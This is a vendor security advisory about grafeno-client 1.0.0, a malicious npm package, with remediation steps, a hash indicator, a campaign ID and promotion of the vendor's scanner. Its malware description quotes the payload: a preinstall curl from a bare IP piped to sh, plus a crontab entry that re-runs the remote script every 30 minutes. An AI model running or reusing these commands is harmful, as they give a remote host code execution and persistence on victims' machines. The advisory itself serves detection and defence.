Which versions of grafeno-client are malicious?

The following npm versions of grafeno-client are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate grafeno-client if I installed it?

Remove grafeno-client from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed grafeno-client — how do I know if it already compromised me?

If grafeno-client was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is grafeno-client part of a known attack campaign?

Yes — grafeno-client is associated with the IN-MAL-2026-019062 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find grafeno-client across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for grafeno-client (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging grafeno-client across your stack and pipelines.

Malicious package

grafeno-clientnpm

grafeno-client is a confirmed malicious npm package (MAL-2026-15503) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in grafeno-client (npm)

MAL-2026-15503

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall grafeno-client

What this malware does

package.json declares a preinstall script that runs curl against a bare IP over plain HTTP (http://216.126.236.46/x.sh) and pipes the response to sh, giving the remote host arbitrary code execution on the installer at npm install time. The same preinstall appends a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh|sh) that re-fetches and re-executes the remote script every 30 minutes, establishing persistence that survives removal of the npm package. The shipped index.js is a stub, so the manifest is the entire payload.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for grafeno-client (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging grafeno-client across your stack and pipelines.
If you installed it — respond
Remove grafeno-client from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If grafeno-client was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks grafeno-client before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. grafeno-client on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019062

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks grafeno-client-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database